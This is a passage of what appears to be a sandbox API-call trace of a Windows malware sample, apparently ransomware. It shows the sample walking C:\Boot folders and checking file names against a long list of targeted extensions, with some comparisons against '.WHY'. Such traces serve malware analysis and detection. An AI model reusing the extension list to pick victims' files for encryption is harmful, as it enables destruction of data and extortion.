lpString2="om].WHY") returned -1 [0207.102] lstrlenW (lpString=".bak") returned 4 [0207.102] lstrcmpiW (lpString1=".bak", lpString2=".WHY") returned -1 [0207.103] lstrlenW (lpString=".bay") returned 4 [0207.103] lstrcmpiW (lpString1=".bay", lpString2=".WHY") returned -1 [0207.103] lstrlenW (lpString=".bd") returned 3 [0207.103] lstrcmpiW (lpString1=".bd", lpString2="WHY") returned -1 [0207.103] lstrlenW (lpString=".bin") returned 4 [0207.103] lstrcmpiW (lpString1=".bin", lpString2=".WHY") returned -1 [0207.103] lstrlenW (lpString=".bmp") returned 4 [0207.103] lstrcmpiW (lpString1=".bmp", lpString2=".WHY") returned -1 [0207.103] lstrlenW (lpString=".bz2") returned 4 [0207.103] lstrcmpiW (lpString1=".bz2", lpString2=".WHY") returned -1 [0207.103] lstrlenW (lpString=".c") returned 2 [0207.103] lstrcmpiW (lpString1=".c", lpString2="HY") returned -1 [0207.103] lstrlenW (lpString=".cdr") returned 4 [0207.103] lstrcmpiW (lpString1=".cdr", lpString2=".WHY") returned -1 [0207.103] lstrlenW (lpString=".cer") returned 4 [0207.104] lstrcmpiW (lpString1=".cer", lpString2=".WHY") returned -1 [0207.104] lstrlenW (lpString=".cf") returned 3 [0207.104] lstrcmpiW (lpString1=".cf", lpString2="WHY") returned -1 [0207.104] lstrlenW (lpString=".cfc") returned 4 [0207.104] lstrcmpiW (lpString1=".cfc", lpString2=".WHY") returned -1 [0207.104] lstrlenW (lpString=".cfm") returned 4 [0207.104] lstrcmpiW (lpString1=".cfm", lpString2=".WHY") returned -1 [0207.104] lstrlenW (lpString=".cfml") returned 5 [0207.104] lstrcmpiW (lpString1=".cfml", lpString2="].WHY") returned -1 [0207.104] lstrlenW (lpString=".cfu") returned 4 [0207.104] lstrcmpiW (lpString1=".cfu", lpString2=".WHY") returned -1 [0207.104] lstrlenW (lpString=".chm") returned 4 [0207.104] lstrcmpiW (lpString1=".chm", lpString2=".WHY") returned -1 [0207.105] lstrlenW (lpString=".cin") returned 4 [0207.105] lstrcmpiW (lpString1=".cin", lpString2=".WHY") returned -1 [0207.105] lstrlenW (lpString=".class") returned 6 [0207.105] lstrcmpiW (lpString1=".class", lpString2="m].WHY") returned -1 [0207.105] lstrlenW (lpString=".clx") returned 4 [0207.105] lstrcmpiW (lpString1=".clx", lpString2=".WHY") returned -1 [0207.105] lstrlenW (lpString=".config") returned 7 [0207.105] lstrcmpiW (lpString1=".config", lpString2="om].WHY") returned -1 [0207.105] lstrlenW (lpString=".cpp") returned 4 [0207.105] lstrcmpiW (lpString1=".cpp", lpString2=".WHY") returned -1 [0207.105] lstrlenW (lpString=".cr2") returned 4 [0207.106] lstrcmpiW (lpString1=".cr2", lpString2=".WHY") returned -1 [0207.106] lstrlenW (lpString=".crt") returned 4 [0207.106] lstrcmpiW (lpString1=".crt", lpString2=".WHY") returned -1 [0207.106] lstrlenW (lpString=".crw") returned 4 [0207.106] lstrcmpiW (lpString1=".crw", lpString2=".WHY") returned -1 [0207.106] lstrlenW (lpString=".cs") returned 3 [0207.106] lstrcmpiW (lpString1=".cs", lpString2="WHY") returned -1 [0207.107] lstrlenW (lpString=".css") returned 4 [0207.107] lstrcmpiW (lpString1=".css", lpString2=".WHY") returned -1 [0207.107] lstrlenW (lpString=".csv") returned 4 [0207.107] lstrcmpiW (lpString1=".csv", lpString2=".WHY") returned -1 [0207.107] lstrlenW (lpString=".cub") returned 4 [0207.107] lstrcmpiW (lpString1=".cub", lpString2=".WHY") returned -1 [0207.107] lstrlenW (lpString=".dae") returned 4 [0207.107] lstrcmpiW (lpString1=".dae", lpString2=".WHY") returned -1 [0207.107] lstrlenW (lpString=".dat") returned 4 [0207.107] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 [0207.107] lstrlenW (lpString=".db") returned 3 [0207.107] lstrcmpiW (lpString1=".db", lpString2="WHY") returned -1 [0207.107] lstrlenW (lpString=".dbf") returned 4 [0207.107] lstrcmpiW (lpString1=".dbf", lpString2=".WHY") returned -1 [0207.107] lstrlenW (lpString=".dbx") returned 4 [0207.108] lstrcmpiW (lpString1=".dbx", lpString2=".WHY") returned -1 [0207.108] lstrlenW (lpString=".dc3") returned 4 [0207.108] lstrcmpiW (lpString1=".dc3", lpString2=".WHY") returned -1 [0207.108] lstrlenW (lpString=".dcm") returned 4 [0207.108] lstrcmpiW (lpString1=".dcm", lpString2=".WHY") returned -1 [0207.108] lstrlenW (lpString=".dcr") returned 4 [0207.108] lstrcmpiW (lpString1=".dcr", lpString2=".WHY") returned -1 [0207.108] lstrlenW (lpString=".der") returned 4 [0207.108] lstrcmpiW (lpString1=".der", lpString2=".WHY") returned -1 [0207.108] lstrlenW (lpString=".dib") returned 4 [0207.108] lstrcmpiW (lpString1=".dib", lpString2=".WHY") returned -1 [0207.108] lstrlenW (lpString=".dic") returned 4 [0207.108] lstrcmpiW (lpString1=".dic", lpString2=".WHY") returned -1 [0207.108] lstrlenW (lpString=".dif") returned 4 [0207.108] lstrcmpiW (lpString1=".dif", lpString2=".WHY") returned -1 [0207.109] lstrlenW (lpString=".divx") returned 5 [0207.109] lstrcmpiW (lpString1=".divx", lpString2="].WHY") returned -1 [0207.109] lstrlenW (lpString=".djvu") returned 5 [0207.109] lstrcmpiW (lpString1=".djvu", lpString2="].WHY") returned -1 [0207.109] lstrlenW (lpString=".dng") returned 4 [0207.109] lstrcmpiW (lpString1=".dng", lpString2=".WHY") returned -1 [0207.109] lstrlenW (lpString=".doc") returned 4 [0207.109] lstrcmpiW (lpString1=".doc", lpString2=".WHY") returned -1 [0207.109] lstrlenW (lpString=".docm") returned 5 [0207.109] lstrcmpiW (lpString1=".docm", lpString2="].WHY") returned -1 [0207.109] lstrlenW (lpString=".docx") returned 5 [0207.109] lstrcmpiW (lpString1=".docx", lpString2="].WHY") returned -1 [0207.109] lstrlenW (lpString=".dot") returned 4 [0207.109] lstrcmpiW (lpString1=".dot", lpString2=".WHY") returned -1 [0207.110] lstrlenW (lpString=".dotm") returned 5 [0207.110] lstrcmpiW (lpString1=".dotm", lpString2="].WHY") returned -1 [0207.110] lstrlenW (lpString=".dotx") returned 5 [0207.110] lstrcmpiW (lpString1=".dotx", lpString2="].WHY") returned -1 [0207.110] lstrlenW (lpString=".dpx") returned 4 [0207.110] lstrcmpiW (lpString1=".dpx", lpString2=".WHY") returned -1 [0207.110] lstrlenW (lpString=".dqy") returned 4 [0207.110] lstrcmpiW (lpString1=".dqy", lpString2=".WHY") returned -1 [0207.110] lstrlenW (lpString=".dsn") returned 4 [0207.110] lstrcmpiW (lpString1=".dsn", lpString2=".WHY") returned -1 [0207.110] lstrlenW (lpString=".dt") returned 3 [0207.110] lstrcmpiW (lpString1=".dt", lpString2="WHY") returned -1 [0207.110] lstrlenW (lpString=".dtd") returned 4 [0207.111] lstrcmpiW (lpString1=".dtd", lpString2=".WHY") returned -1 [0207.111] lstrlenW (lpString=".dwg") returned 4 [0207.111] lstrcmpiW (lpString1=".dwg", lpString2=".WHY") returned -1 [0207.111] lstrlenW (lpString=".dwt") returned 4 [0207.111] lstrcmpiW (lpString1=".dwt", lpString2=".WHY") returned -1 [0207.111] lstrlenW (lpString=".dx") returned 3 [0207.111] lstrcmpiW (lpString1=".dx", lpString2="WHY") returned -1 [0207.111] lstrlenW (lpString=".dxf") returned 4 [0207.111] lstrcmpiW (lpString1=".dxf", lpString2=".WHY") returned -1 [0207.111] lstrlenW (lpString=".edml") returned 5 [0207.111] lstrcmpiW (lpString1=".edml", lpString2="].WHY") returned -1 [0207.111] lstrlenW (lpString=".efd") returned 4 [0207.111] lstrcmpiW (lpString1=".efd", lpString2=".WHY") returned -1 [0207.111] lstrlenW (lpString=".elf") returned 4 [0207.112] lstrcmpiW (lpString1=".elf", lpString2=".WHY") returned -1 [0207.112] lstrlenW (lpString=".emf") returned 4 [0207.112] lstrcmpiW (lpString1=".emf", lpString2=".WHY") returned -1 [0207.112] lstrlenW (lpString=".emz") returned 4 [0207.112] lstrcmpiW (lpString1=".emz", lpString2=".WHY") returned -1 [0207.112] lstrlenW (lpString=".epf") returned 4 [0207.112] lstrcmpiW (lpString1=".epf", lpString2=".WHY") returned -1 [0207.112] lstrlenW (lpString=".eps") returned 4 [0207.112] lstrcmpiW (lpString1=".eps", lpString2=".WHY") returned -1 [0207.112] lstrlenW (lpString=".epsf") returned 5 [0207.112] lstrcmpiW (lpString1=".epsf", lpString2="].WHY") returned -1 [0207.112] lstrlenW (lpString=".epsp") returned 5 [0207.112] lstrcmpiW (lpString1=".epsp", lpString2="].WHY") returned -1 [0207.112] lstrlenW (lpString=".erf") returned 4 [0207.112] lstrcmpiW (lpString1=".erf", lpString2=".WHY") returned -1 [0207.113] lstrlenW (lpString=".exr") returned 4 [0207.113] lstrcmpiW (lpString1=".exr", lpString2=".WHY") returned -1 [0207.113] lstrlenW (lpString=".f4v") returned 4 [0207.113] lstrcmpiW (lpString1=".f4v", lpString2=".WHY") returned -1 [0207.113] lstrlenW (lpString=".fido") returned 5 [0207.113] lstrcmpiW (lpString1=".fido", lpString2="].WHY") returned -1 [0207.113] lstrlenW (lpString=".flm") returned 4 [0207.113] lstrcmpiW (lpString1=".flm", lpString2=".WHY") returned -1 [0207.113] lstrlenW (lpString=".flv") returned 4 [0207.113] lstrcmpiW (lpString1=".flv", lpString2=".WHY") returned -1 [0207.113] lstrlenW (lpString=".frm") returned 4 [0207.113] lstrcmpiW (lpString1=".frm", lpString2=".WHY") returned -1 [0207.383] FindNextFileW (in: hFindFile=0x5eae60, lpFindFileData=0x37af808 | out: lpFindFileData=0x37af808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.383] FindNextFileW (in: hFindFile=0x5eae60, lpFindFileData=0x37af808 | out: lpFindFileData=0x37af808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0207.384] FindClose (in: hFindFile=0x5eae60 | out: hFindFile=0x5eae60) returned 1 [0207.384] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x3bf42c8 | out: hHeap=0x590000) returned 1 [0207.384] FindNextFileW (in: hFindFile=0x609318, lpFindFileData=0x37afa84 | out: lpFindFileData=0x37afa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0207.385] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x37af808 | out: lpFindFileData=0x37af808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5eae60 [0207.385] FindNextFileW (in: hFindFile=0x5eae60, lpFindFileData=0x37af808 | out: lpFindFileData=0x37af808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.385] FindNextFileW (in: hFindFile=0x5eae60, lpFindFileData=0x37af808 | out: lpFindFileData=0x37af808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0207.386] FindClose (in: hFindFile=0x5eae60 | out: hFindFile=0x5eae60) returned 1 [0207.386] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x3bf42c8 | out: hHeap=0x590000) returned 1 [0207.386] FindNextFileW (in: hFindFile=0x609318, lpFindFileData=0x37afa84 | out: lpFindFileData=0x37afa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0207.386] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x37af808 | out: lpFindFileData=0x37af808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5eae68 [0207.770] FindNextFileW (in: hFindFile=0x5eae68, lpFindFileData=0x37af808 | out: lpFindFileData=0x37af808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.770] FindNextFileW (in: hFindFile=0x5eae68, lpFindFileData=0x37af808 | out: lpFindFileData=0x37af808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.394] FindNextFileW (in: hFindFile=0x624140, lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x37af1f4, cFileName="..", cAlternateFileName="")) returned 1 [0213.394] FindNextFileW (in: hFindFile=0x624140, lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x37af1f4, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.395] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0213.395] lstrlenW (lpString=".1cd") returned 4 [0213.395] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0213.395] lstrlenW (lpString=".3ds") returned 4 [0213.395] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0213.395] lstrlenW (lpString=".3fr") returned 4 [0213.396] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0213.396] lstrlenW (lpString=".3g2") returned 4 [0213.396] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0213.396] lstrlenW (lpString=".3gp") returned 4 [0213.396] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0213.396] lstrlenW (lpString=".7z") returned 3 [0213.396] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0213.396] lstrlenW (lpString=".accda") returned 6 [0213.397] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0213.397] lstrlenW (lpString=".accdb") returned 6 [0213.397] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0213.397] lstrlenW (lpString=".accdc") returned 6 [0213.397] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0213.397] lstrlenW (lpString=".accde") returned 6 [0213.397] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0213.397] lstrlenW (lpString=".accdt") returned 6 [0213.398] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0213.398] lstrlenW (lpString=".accdw") returned 6 [0213.398] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0213.398] lstrlenW (lpString=".adb") returned 4 [0213.398] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0213.398] lstrlenW (lpString=".adp") returned 4 [0213.398] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0213.399] lstrlenW (lpString=".ai") returned 3 [0213.399] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0213.399] lstrlenW (lpString=".ai3") returned 4 [0213.399] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0213.399] lstrlenW (lpString=".ai4") returned 4 [0213.399] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0213.399] lstrlenW (lpString=".ai5") returned 4 [0213.399] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0213.399] lstrlenW (lpString=".ai6") returned 4 [0213.399] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0213.399] lstrlenW (lpString=".ai7") returned 4 [0213.399] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0213.400] lstrlenW (lpString=".ai8") returned 4 [0213.400] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0213.400] lstrlenW (lpString=".anim") returned 5 [0213.400] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0213.400] lstrlenW (lpString=".arw") returned 4 [0213.400] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0213.400] lstrlenW (lpString=".as") returned 3 [0213.400] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0213.400] lstrlenW (lpString=".asa") returned 4 [0213.400] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0213.400] lstrlenW (lpString=".asc") returned 4 [0213.400] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0213.401] lstrlenW (lpString=".ascx") returned 5 [0213.401] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0213.401] lstrlenW (lpString=".asm") returned 4 [0213.401] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0213.401] lstrlenW (lpString=".asmx") returned 5 [0213.402] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0213.402] lstrlenW (lpString=".asp") returned 4 [0213.402] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0213.402] lstrlenW (lpString=".aspx") returned 5 [0213.402] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0213.402] lstrlenW (lpString=".asr") returned 4 [0213.402] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0213.402] lstrlenW (lpString=".asx") returned 4 [0213.402] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0213.402] lstrlenW (lpString=".avi") returned 4 [0213.403] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0213.403] lstrlenW (lpString=".avs") returned 4 [0213.403] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0213.403] lstrlenW (lpString=".backup") returned 7 [0213.403] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1 [0213.403] lstrlenW (lpString=".bak") returned 4 [0213.403] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0213.403] lstrlenW (lpString=".bay") returned 4 [0213.403] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0213.403] lstrlenW (lpString=".bd") returned 3 [0213.403] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0213.404] lstrlenW (lpString=".bin") returned 4 [0213.404] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0213.404] lstrlenW (lpString=".bmp") returned 4 [0213.404] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0213.404] lstrlenW (lpString=".bz2") returned 4 [0213.404] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0213.405] lstrlenW (lpString=".c") returned 2 [0213.405] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0213.405] lstrlenW (lpString=".cdr") returned 4 [0213.405] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0213.405] lstrlenW (lpString=".cer") returned 4 [0213.406] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0213.406] lstrlenW (lpString=".cf") returned 3 [0213.407] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0213.407] lstrlenW (lpString=".cfc") returned 4 [0213.407] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0213.407] lstrlenW (lpString=".cfm") returned 4 [0213.407] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0213.407] lstrlenW (lpString=".cfml") returned 5 [0213.407] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0213.407] lstrlenW (lpString=".cfu") returned 4 [0213.408] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0213.408] lstrlenW (lpString=".chm") returned 4 [0213.409] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0213.409] lstrlenW (lpString=".cin") returned 4 [0213.409] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0213.410] lstrlenW (lpString=".class") returned 6 [0213.410] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0213.410] lstrlenW (lpString=".clx") returned 4 [0213.410] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0213.410] lstrlenW (lpString=".config") returned 7 [0213.410] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1 [0213.410] lstrlenW (lpString=".cpp") returned 4 [0213.411] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0213.411] lstrlenW (lpString=".cr2") returned 4 [0213.411] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0213.411] lstrlenW (lpString=".crt") returned 4 [0213.411] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0213.412] lstrlenW (lpString=".crw") returned 4 [0213.412] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0213.412] lstrlenW (lpString=".cs") returned 3 [0213.413] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0213.413] lstrlenW (lpString=".css") returned 4 [0213.413] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0213.413] lstrlenW (lpString=".csv") returned 4 [0213.413] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0213.413] lstrlenW (lpString=".cub") returned 4 [0213.414] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0213.414] lstrlenW (lpString=".dae") returned 4 [0213.414] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0213.414] lstrlenW (lpString=".dat") returned 4 [0213.414] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0213.414] lstrlenW (lpString=".db") returned 3 [0213.414] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0213.414] lstrlenW (lpString=".dbf") returned 4 [0213.415] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0213.415] lstrlenW (lpString=".dbx") returned 4 [0213.415] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0213.415] lstrlenW (lpString=".dc3") returned 4 [0213.415] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0213.416] lstrlenW (lpString=".dcm") returned 4 [0213.416] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0213.416] lstrlenW (lpString=".dcr") returned 4 [0213.416] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0213.416] lstrlenW (lpString=".der") returned 4 [0213.417] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0213.417] lstrlenW (lpString=".dib") returned 4 [0213.417] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0213.417] lstrlenW (lpString=".dic") returned 4 [0213.417] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0213.419] lstrlenW (lpString=".dif") returned 4 [0213.419] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0213.419] lstrlenW (lpString=".divx") returned 5 [0213.419] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0213.419] lstrlenW (lpString=".djvu") returned 5 [0213.419] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0213.419] lstrlenW (lpString=".dng") returned 4 [0213.420] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0213.420] lstrlenW (lpString=".doc") returned 4 [0213.420] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0213.420] lstrlenW (lpString=".docm") returned 5 [0213.420] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0213.420] lstrlenW (lpString=".docx") returned 5 [0213.420] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0213.420] lstrlenW (lpString=".dot") returned 4 [0213.420] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0213.420] lstrlenW (lpString=".dotm") returned 5 [0213.420] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0213.421] lstrlenW (lpString=".dotx") returned 5 [0213.421] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0213.421] lstrlenW (lpString=".dpx") returned 4 [0213.421] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0213.421] lstrlenW (lpString=".dqy") returned 4 [0213.421] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0213.421] lstrlenW (lpString=".dsn") returned 4 [0213.421] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0213.421] lstrlenW (lpString=".dt") returned 3 [0213.421] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0213.422] lstrlenW (lpString=".dtd") returned 4 [0213.422] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0213.422] lstrlenW (lpString=".dwg") returned 4 [0213.422] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0213.422] lstrlenW (lpString=".dwt") returned 4 [0213.422] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0213.422] lstrlenW (lpString=".dx") returned 3 [0213.422] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0213.422] lstrlenW (lpString=".dxf") returned 4 [0213.423] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0213.423] lstrlenW (lpString=".edml") returned 5 [0213.423] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0213.423] lstrlenW (lpString=".efd") returned 4 [0213.423] lstrcmpiW (lpString1=".efd", lpString2=".mui") 